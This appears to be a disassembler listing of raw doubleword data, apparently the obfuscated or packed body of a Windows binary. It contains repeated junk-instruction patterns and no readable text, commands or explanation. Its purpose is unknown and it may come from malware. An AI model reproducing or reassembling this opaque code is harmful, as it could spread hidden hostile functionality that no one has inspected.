		dd 6A06A6h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0BE2D0DC3h, 2AFE0244h, 0B6E5EF81h, 800F34A5h
		dd 6, 15E1B509h, 95FF06A6h, 6A6116Dh, 10DE9h, 0D8D2900h
		dd 0B006A615h, 8A0F6000h, 6, 0B31958Bh,	4CB006A6h, 8070E661h
		dd 71E481F3h, 3249BD01h, 613C06A6h, 0E0830Fh, 0DE8B0000h
		dd 0BFC8B60Fh, 2A21DE1h, 6BAh, 8B89B700h, 25BD33C1h, 0C106A608h
		dd 8D8904E8h, 6A62CA5h,	0E9E2F766h, 13h, 0D034AA45h, 292001E6h
		dd 7DEF1DDAh, 0AB4B3B7h, 2B76CB6Ah, 89DE8BC8h, 0A632ADB5h
		dd 8BD18B06h, 0A608699Dh, 9E906h, 0D3810000h, 24282882h
		dd 8BDBBF0Fh, 0A6109985h, 10E906h, 64500000h, 0EF539370h
		dd 0A9F0D8D3h, 1200705Bh, 0C0839F7Bh, 0D59D8B07h, 8306A62Bh
		dd 816600C0h, 3B1C60E7h, 0B830FD0h, 3000000h, 0A62D319Dh
		dd 44E906h, 8D8B0000h, 6A61905h, 0F01E183h, 3584h, 10E800h
		dd 94A40000h, 4955C601h, 1374F2A9h, 32C2BDC1h, 0B70F7709h
		dd 0A5835FFBh, 6A61905h, 2DBB66FEh, 9995899Dh, 8906A610h
		dd 0A60CFD95h, 0E906h, 0B58D0000h, 6AA1264h, 6A006Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 67A944C3h, 0C9BD8BBDh, 6606A606h, 0B437F381h, 295995FFh
		dd 6A06A6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0F770C8C3h, 810F35h, 0B9000000h, 968h, 6819D0Bh
		dd 0E18306A6h, 0D99D8BFCh, 0FC06A613h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 8AC35545h, 197D9D2Bh, 0C02B06A6h
		dd 6860Fh, 0EF810000h, 233AF7CAh, 2969BD89h, 0D22B06A6h
		dd 0B1DBD29h, 33AD06A6h, 3E8D1C2h, 4E983D0h, 0BB66F475h
		dd 6A46FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 89E31DC3h, 880DA5D0h, 89000000h, 0A631D585h
		dd 0AD958B06h, 8B06A606h, 0A6040D8Dh, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 0E36325A5h, 6E8h, 0A8097D00h, 5F52C444h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 0F6BF5818h, 6A24AAE2h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 225BC352h, 0A2E0FA2Eh, 12E856h, 0B9E30000h
		dd 0EA078AE2h, 0BE1BD6D5h, 8501FAAh, 94F10737h,	19219D03h
		dd 5F5B06A6h, 0FDDBD83h, 0F0006A6h, 6284h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 0B81651h, 8D000000h,	0A64F558Dh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 5789B02h, 1AAE150Ch
		dd 8BA0E381h, 8B66638Dh, 89E1FFFEh, 0A6157D8Dh,	0B1858906h
		dd 8306A614h, 0A60BE9BDh, 840F0006h, 3ADh, 83DE8B66h, 0A60BE9BDh
		dd 840F0106h, 3B8h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0ABC35242h, 0CF7CE3BAh, 7869F6BEh, 18850Fh
		dd 0CE80000h, 0DE000000h, 9A925069h, 843FEA11h,	8B7118D4h
		dd 0A630B59Dh, 0F7815B06h, 61FB36DEh, 31458D31h, 0BD8306A6h
		dd 6A60BE9h, 27860F03h,	0F000003h, 887h, 85315200h, 6A61B91h
		dd 8C66605Fh, 56006AD9h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 47A5DFDFh, 47DE7DD4h, 9F78166h, 0DFB70F4Ch
		dd 0F04E180h, 0C90AFEBFh, 0EF840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0F5E098C3h
		dd 15DD858Bh, 10E806A6h, 8E000000h, 0F2E84F74h,	0B52A75BDh
		dd 5A6E3A9Ah, 0FA3DFEDh, 335FDABFh, 0A6209D85h,	0F9BD8B06h
		dd 9006A62Dh, 790743BBh, 6A905050h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 21BCC350h
		dd 13860Fh, 0EE90000h, 37000000h, 705119DEh, 0A85C7366h
		dd 1180DC81h, 6A006A90h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0AC23C356h,	0CF86AD9h
		dd 14819D8Bh, 9D8B06A6h, 6A62169h, 39468B68h, 2434812Dh
		dd 2D264574h, 113DBD2Bh, 95FF06A6h, 6A60B35h, 8589DA8Bh
		dd 6A9B6A3h, 8D9D8B57h,	5B06A616h, 0EA29E381h, 9AE96A44h
		dd 29000001h, 0A60F1D8Dh, 9B858B06h, 8906A9B6h,	0A60A9185h
		dd 1800C706h, 8B000000h, 0A9B69FB5h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 323DFB22h
		dd 6655036Ah, 858BFB8Bh, 6A62ED9h, 6892FB7h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0C2C35545h, 0F0BEF7Bh
		dd 9D89AF01h, 6A62BB1h,	15DD858Bh, 6A06A6h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0E0A835C3h
		dd 522E0A40h, 46890F71h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 87D56564h, 29098D31h
		dd 0BB6606A6h, 6650604Ah, 890890BFh, 5B512434h,	0B69BB5FFh
		dd 6A06A9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 63BDA8C3h, 9D03F7BBh, 6A62E49h, 9AE3C868h
		dd 2A0CBF8Ch, 48136E4h
		db 24h,	37h
word_594F42	dw 8420h		; DATA XREF: ___:off_4387F8o
		dd 15B58973h, 8B06A61Ch, 0A61F15BDh, 0A3858D06h, 6A06A9B6h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0A7BFC356h, 8D31C70Bh, 6A609D1h, 26BB5190h
		dd 5B49A90Eh, 90FE8B50h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Dh, 50C35040h, 96133352h,	0CF841891h, 89BD8BB6h
		dd 8906A607h, 0A6114DBDh, 3595FF06h, 8B06A60Bh,	896056F8h
		dd 0A62BD595h, 61616006h, 6A615Fh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 4CADD1C3h, 7911BB66h
		dd 0BE985C7h, 306A6h, 95090000h, 6A62EFDh, 0B6A3BD83h
		dd 0F0006A9h, 1984h, 7E900h, 46810000h,	65D11226h, 23E9F0h
		dd 800F0000h, 2, 3050D98Ah, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 14870F58h, 0E9000000h
		dd 0Fh,	6565B454h, 2F33AECCh, 0EC99B16Dh, 83744976h, 0A60BE9BDh
		dd 850F0306h, 3C8h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 69C35646h, 80C09485h,	0D2D67A15h, 0E4CCBB37h
		dd 0BD836404h, 6A9B6A3h, 91840F00h, 6A000003h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 7A02C356h, 919D8B9Dh, 0FF06A622h, 0A9B6A3B5h, 12E906h
		dd 6B110000h, 6E2A6412h, 0CBC7044Ah, 5769CF5Dh,	30E161A2h
		dd 0C1D95FFh, 0B58B06A6h, 6A9B697h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0B1C35141h,	0D1DE7FB5h, 0C74D6739h
		dd 1000106h, 0A5BD8B00h, 5006A62Ch, 3810BB66h, 0E8243489h
		dd 11h,	4D1FFD3Dh, 72580E55h, 0AECD379Eh, 6E7F85C2h, 3D858945h
		dd 5F06A60Bh, 0FFDABF0Fh, 0A9B6A3B5h, 859D8B06h, 0BB06A61Dh
		dd 14298620h, 29D195FFh, 0DE906A6h, 52000000h, 46E1DF7Bh
		dd 7BC77486h, 608E0F72h, 0EA21CF81h, 0B58B13AAh, 6A9B697h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 4AC35545h
		dd 3C1A6CA7h, 81BD8B4Dh, 6606A629h, 858BD88Bh, 6A60769h
		dd 1830Fh, 89F50000h, 0A62D399Dh, 0C4868906h, 60000000h
		dd 6880Fh, 958B0000h, 6A61BDDh,	19258D8Bh, 8B6106A6h, 0A606AD95h
		dd 83BF6606h, 4C28353h,	0BE8h, 0B25E8C00h, 7D447F7Bh, 0B4887ECEh
		dd 5BF98B66h, 66205089h, 0F21FEF81h, 8DFB8B66h,	0A9CA6B85h
		dd 18A0F06h, 0F5000000h, 0B88689h, 0F3800000h, 6A006A6Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0E3FBC355h, 8A3CC90Fh, 5E951h, 333C0000h
		dd 0FF6DE5D5h, 0A9B6A3B5h, 0BD8B5106h, 6A60F29h, 6D95FF5Bh
		dd 0F806A606h, 24348950h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0FCC35747h, 0F04D2C5h, 0F78161E0h, 7336332Ah
		dd 0B6A3B5FFh, 6A06A9h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0B57944C3h, 0ADCEAA37h, 0A5BD8B73h
		dd 0FF06A614h, 0A60A1595h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0F161D2D0h
		dd 0C03EFEAEh, 859D8B8Ah, 8306A619h, 0A62B29BDh, 840F0006h
		dd 26h,	0DE9h, 0C32B5700h, 2942A032h, 5CDD6FD4h, 66502752h
		dd 890733BBh, 9D892434h, 6A629C9h, 4359D09h, 0B5FF06A6h
		dd 6A9B6A3h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	5AC35242h, 605C72D6h, 0CE9h, 0A860A900h, 4E382E5h
		dd 0BE97E67Eh, 1BD8B0Eh, 6106A607h, 1D5595FFh, 0B5FF06A6h
		dd 6A9B6A3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	0D3C35646h, 71BBD581h, 4FD38166h, 0D995FFE6h, 0E806A62Ah
		dd 14h,	86D9E017h, 0F1F1DAD5h, 849313DEh, 0AD8CCBD8h, 3F96C9D9h
		dd 0AE9h, 0A58A9800h, 0E2E5C804h, 5F855C3Eh, 2CF5BD83h
		dd 0F0206A6h, 4184h, 41858B00h,	6A06A618h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 94CAC357h
		dd 8B06EB9Fh, 0FEB70FDFh, 0E90000C6h, 0Eh, 2EE4CC7Bh, 0C681F244h
		dd 0A0DA9AD5h, 85C7AF5Ah, 6A62ED1h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 49C35747h
		dd 0BAA70860h, 81B76F27h, 6CFCBF66h, 0FFF4A3E9h, 50006AFFh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0C18BA3BBh, 11E8h, 0C0DF1400h, 13669025h, 0CEC8C7BBh
		dd 0D5A3B0E3h, 0CE86655h, 49000000h, 52F3A68Bh,	578DB984h
		dd 664E6EE6h, 5FC610BBh, 0AD858D5Bh, 8B06A62Ch,	0A629A59Dh
		dd 0F605006h, 687h, 0F525000h, 0F585A31h, 38Bh,	0D38B6600h
		dd 24048961h, 2C79BD8Bh, 6A06A6h, 15319D89h, 6A06A6h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 30C35242h, 5E189BE2h
		dd 63BFE8A6h, 8D1B4FB9h, 0AAAC7E85h, 0CD958906h, 8306A61Bh
		dd 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 7B51D2C3h, 50FA8A90h, 310F5250h, 13E8h, 8B9F7400h
		dd 0A42CA1ACh, 45100337h, 506FD1BCh, 3430E078h,	3E53BBBBh
		dd 585A5F72h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 76039DCFh, 1AFD46D6h, 1221B501h
		dd 0BD3306A6h, 6A610B1h, 830F006Ah, 0Ch, 6830Fh, 890F0000h
		dd 0
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 89590FC3h, 92BFBEh, 95FF1675h, 6A61245h
		dd 3311BD8Bh, 8D8D06A6h, 6A994FFh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 31C35545h, 0AB4947C0h, 81CEFC93h
		dd 958E43EFh, 0E3816642h, 0D1FFD91Fh, 0CE9h, 906F9100h
		dd 0B2FEDA40h, 4AAFE35Bh, 51BD838Bh, 106A614h, 48850Fh
		dd 0BD890000h, 6A62971h, 9D8B026Ah, 6A61CA1h, 0F2BB5090h
		dd 902155C4h, 2FC58529h, 95FF06A6h, 6A6066Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 2EC35343h, 114D2336h
		dd 7A19D29h, 0F4E906A6h, 0E800000Eh, 0
		dd 88ED815Dh, 0F06AAACh, 9E9FFBFh, 85000000h, 0C9D53FC1h
		dd 6B26C1FAh, 864A858Dh, 6A06A9h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0B9DA4DC3h, 8B60FA8Ah
		dd 61DA8BF7h, 11E950h, 0B8590000h, 7361843Ah, 0D5C41DC1h
		dd 5E4BA940h, 89E40D37h, 64F82404h, 35FFh, 89640000h, 25h
		dd 0F7816600h, 85FF5258h, 6A6126Dh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0C9C35343h,	0E1C10FCBh, 0B6452290h
		dd 0C818D89h, 858906A6h, 6A62AB5h, 0B70FFF6Ah, 35BD2BDAh
		dd 0FF06A61Eh, 0A62DCDB5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 78F001h, 0FFFA8B4Ah
		dd 0A6116D95h, 142E906h, 9D8B0000h, 6A625DDh, 55FBB66h
		dd 8B6000B0h, 0A633758Dh, 0B8665106h, 615B637Ch, 6D98589h
		dd 70E606A6h, 1D898D31h, 71E406A6h, 1C1BD8Bh, 613C06A6h
		dd 10A830Fh, 0B5290000h, 6A62B01h, 0E9C8B60Fh, 11h, 371DF288h
		dd 0AA2C3F02h, 0AD91C555h, 0A0AD3D0Ch, 6BAB7h, 6E80000h
		dd 6B000000h, 0E6964EF2h, 0AE93Fh, 0A6520000h, 0D355F054h
		dd 3BA8A69Eh, 0E185895Fh, 8B06A619h, 7AF780C1h,	6604E8C1h
		dd 0D781E2F7h, 5459F9ACh, 0B589C82Bh, 6A61111h,	10E9D18Bh
		dd 0BB000000h, 0B2AE3DBFh, 66DA2ABh, 0C3F032F3h, 2955D9A1h
		dd 0A6018D85h, 2E906h, 5F500000h, 29AD858Bh, 852906A6h
		dd 6A62C71h, 0F07C083h,	0C083DABFh, 68E0F00h, 8B000000h
		dd 0A601D59Dh, 0FD03B06h, 2283h, 68B0F00h, 8B000000h, 0A606B1BDh
		dd 0DF816606h, 49E9A624h, 8B000000h, 0A633259Dh, 0D1958906h
		dd 8B06A618h, 0A60A798Dh, 1E18306h, 2E840Fh, 81660000h
		dd 602773D7h, 0CD9BD09h, 61FC06A6h, 0A79A583h, 89FE06A6h
		dd 0A62D95BDh, 0AD958906h, 0B306A629h, 0A2DB81E6h, 0E97B3AEBh
		dd 0
		dd 1E07B58Dh, 6A06AAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 76958DC3h, 66AA4040h, 6A4FC7BBh
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 95FFCA60h, 6A62959h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0B5C35242h,	89A797D5h, 0A61EC595h
		dd 865B906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0A97FF6C3h, 0F9AD2C18h, 0AEBFF6DDh
		dd 83355EC8h, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 54FEA4C3h, 0B8DA0248h, 0DB816685h
		dd 0BBFC0A6Dh, 75EA3CA2h, 0B8h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 666F87E7h
		dd 7000CF81h, 6B9BD8Bh,	0D22B06A6h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0FDC35141h,	0CA4AECCDh, 0FF88B16h
		dd 68Bh, 0FD958900h, 0AD06A613h, 0E8D1C233h, 0E983D003h
		dd 6AF47504h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 6595C356h, 2C76697Ch, 0E9555913h
		dd 7, 671BA56Bh, 23382D0Fh, 0A63035BDh,	25BD3306h, 0D06A632h
		dd 88h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h
		dd 0FDC35040h, 666014BEh, 0A201C981h, 765BD89h,	8B6106A6h
		dd 0A606AD95h, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 5D704EC4h, 9DE78096h
		dd 2B819D8Bh, 8D8B06A6h, 6A6040Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0AAC35747h,	0E4415BC8h, 8D89574Dh
		dd 6A604C5h, 0DE95Bh, 60A0000h,	0F0B9F112h, 2EBBCCC0h
		dd 505C94B1h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 0A19D2958h, 6A06A62Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 5592C350h, 502827FDh
		dd 0BE9h, 0B85B7100h, 93A0E9DCh, 559CBD83h, 0FDDBD83h
		dd 0F0006A6h, 8484h, 0B800h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 3AF868C3h
		dd 0ABB778C4h, 4F558D8Dh, 6A06A6h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 37036CC3h, 0E67CAC98h
		dd 68F0Fh, 8D290000h, 6A619B5h,	6AE1FFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0FF6CFAC3h
		dd 0CDD826DCh, 94AB63BFh, 0E9BD8367h, 6A60Bh, 474840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 92F0FBC3h, 661A8D7Ah, 0E999F1BFh,	9, 4D590CAh
		dd 0E8F3A478h, 69EF8176h, 83117D72h, 0A60BE9BDh, 840F0106h
		dd 449h, 1B2D9D8Bh, 0BD8306A6h,	6A60BE9h, 860F03h, 0F000004h
		dd 6A60DEBFh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 27EEC353h, 0DB4E7183h,	9D31DD8Ch
		dd 6A62A9Dh, 6AD98C66h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0D2B0C356h,	0E3EC9401h
		dd 6880FCEh, 89000000h,	0A615ADBDh, 14E806h, 19830000h
		dd 4CB2490Ch, 8C6F9DC3h, 3FC3691h, 0A4658D07h, 8B66390Eh
		dd 0E1805FF9h, 8E904h, 0BCFB0000h, 0E88280Fh, 0C90A5815h
		dd 137840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0AE9FAC3h, 59000000h, 49FC8427h
		dd 0F8D0C6C2h, 0A19D2952h, 8B06A629h, 0A615DD85h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0BFE5AF44h, 18C70BA7h, 5B783ABBh, 9D853321h,	6006A620h
		dd 66C38B66h, 837DE181h, 0FB8B5061h, 0E9240489h, 13h, 365842E9h
		dd 3D0438A5h, 26CE9515h, 0E9958EEAh, 6A21432Fh,	71B58900h
		dd 6806A615h, 357FB54Eh, 0CE8h,	47067900h, 744FB07Fh, 8CA8019Eh
		dd 28C0F78h, 53000000h,	34815B5Bh, 60B6B124h, 57006A35h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0BFBF4554h, 0FF116D17h, 0A60B3595h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 0B70972A5h, 0A385899Fh, 8906A9B6h, 0A60689B5h, 1C7E906h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 59BEE8C3h, 968354Ah, 9B858BEDh, 6A06A9B6h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 2B56C355h, 1B60C90h, 0A63149BDh, 1800C706h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 98DC352h, 0EEB78C18h, 0B69FB58Bh
		dd 9D8906A9h, 6A60B55h,	1DE9BD89h, 858B06A6h, 6A62ED9h
		dd 89D98B66h, 34DB8106h, 8B1A711Ah, 0A615DD85h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 3E478F0Ah, 6005D4EFh, 7E91634h, 13000000h, 0AB1EDC57h
		dd 0B58950AEh, 6A62BBDh, 8B044689h, 0A614E5BDh,	9E85006h
		dd 6B000000h, 0C1CC46F7h, 9FA94C80h, 895BFA8Bh,	11E82434h
		dd 2E000000h, 36129DECh, 6C31E97Fh, 57D411FCh, 48EC4B67h
		dd 0B5FF5BFCh, 6A9B69Bh, 810E0668h, 8E89Eh, 192E0000h
		dd 0EAD19101h, 0EE83D7Fh, 0A5000000h, 78B7871h,	168A4BC5h
		dd 6055D774h, 5F5B50A4h, 2404815Fh, 619DF5F9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0B3C35141h, 6E8B7196h
		dd 0BD9D03D9h, 8D06A614h, 0A9B6A385h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 0BF53E3DFh, 8A518145h, 8D315FF8h, 6A6219Dh, 168A0F90h
		dd 0E8000000h, 0Ah, 48C53246h, 7202708Dh, 5250F4D0h, 585A310Fh
		dd 0B790505Fh, 3595FF34h, 8B06A60Bh, 0A61A49BDh, 6A6106h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 0E91A23C3h, 3EF6586h, 0A626BD9Dh, 0E985C706h, 306A60Bh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0A5F5C352h, 595E95A5h,	9ACE812Ah
		dd 0B6A3BD83h, 0F0006A9h, 2E84h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 58D70167h
		dd 3B7BFE35h, 21E9h, 699D8B00h,	5006A62Ch, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 9D23C08Bh, 6A60D79h, 2935BD8Bh
		dd 6A06A6h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0B160BC3h, 9E8h, 0FB88CB00h, 920B3403h, 0C381D333h
		dd 2278BF0Ch, 2840F5Fh,	8B000000h, 0E9BD83F8h, 306A60Bh
		dd 48F850Fh
		dd 10E80000h, 5A000000h, 1C9D9E58h, 65BDE20Ah, 1DFD5BD4h
		dd 8BC62168h, 0A61BA99Dh, 0BD835F06h, 6A9B6A3h,	66840F00h
		dd 6A000004h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 3946C350h, 450697FEh, 0FFF64E12h
		dd 0A9B6A3B5h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0D8ADA52Dh, 1D95FFFAh
		dd 6606A60Ch, 8B17FDBBh, 0A9B697B5h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 9D23F9B8h
		dd 6A604B5h, 106C7h, 6A0001h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 54333C3h, 293DBD89h
		dd 669606A6h, 5050FA8Bh, 0F98B6652h, 0DE9310Fh,	4E000000h
		dd 0D1FBDECh, 169AD9BCh, 0F7BC8304h, 6A96585Ah,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 3126C351h, 68F0Fh, 0CF810000h, 1948FDBBh, 731B589h
		dd 0B5FF06A6h, 6A9B6A3h, 29D195FFh, 13E906A6h, 91000000h
		dd 0A4461F30h, 91F92971h, 0F2FBE9F9h, 0B30BA3BEh, 0B58BCAC8h
		dd 6A9B697h, 8BDFEB81h,	858B2103h, 6A60769h, 0F8BF0F56h
		dd 0C486895Bh, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 757C351h, 933C80D1h
		dd 0BF526C7Fh, 6158A927h, 6AD958Bh, 6A06A6h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 8C5A97C3h
		dd 1AF1BD09h, 0C28306A6h, 52006A04h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 5FA19171h
		dd 515FF539h, 1D659D89h, 895F06A6h, 95892050h, 6A62A25h
		dd 0CA6B858Dh, 6A06A9h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 971191C3h, 0DB03B003h, 0F626023h
		dd 688h, 0A1B50100h, 8906A61Ch,	0B886h,	50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 6A2A4426h, 0B5FFF800h, 6A9B6A3h, 6D95FFFCh, 6A06A606h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 503FC355h, 68E0Fh, 0B5090000h, 6A62B69h
		dd 9880F5Fh, 0F000000h,	387h, 0FAB70F00h, 0D88A6050h, 8961FB8Bh
		dd 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 892716C3h, 0A62C2D8Dh, 0A3B5FF06h, 6006A9B6h
		dd 0CFBF0F51h, 0C1BD895Bh, 6106A61Ah, 0A1595FFh, 6A06A6h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0FA97C2C3h, 7E9B78Fh, 31000000h, 97D5B567h, 0EEBF93A7h
		dd 157BF14h, 0A62BCD9Dh, 29BD8306h, 6A62Bh, 72840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0E79EA2C3h, 1B89BD33h, 0F9606A6h, 138Dh, 0DE800h, 0BAE30000h
		dd 0F31ACD6Bh, 0D381A906h, 5BA6DF0Ah, 6A9650h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0ABBD20C3h, 0E9C3F8C7h, 0FEBF0FDDh, 6850Fh, 9D290000h
		dd 6A60D75h, 0B6A3B5FFh, 820F06A9h, 7, 18D0Fh, 0FFFC0000h
		dd 0A61D5595h, 53006A06h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0E1BD8B33h, 3106A625h
		dd 0A61E458Dh, 0A3B5FF06h, 6A06A9B6h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 7B3AC357h
		dd 7C9B8627h, 0BE94547h, 0C4000000h, 9B75B464h,	5967D545h
		dd 95FF2DB1h, 6A62AD9h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
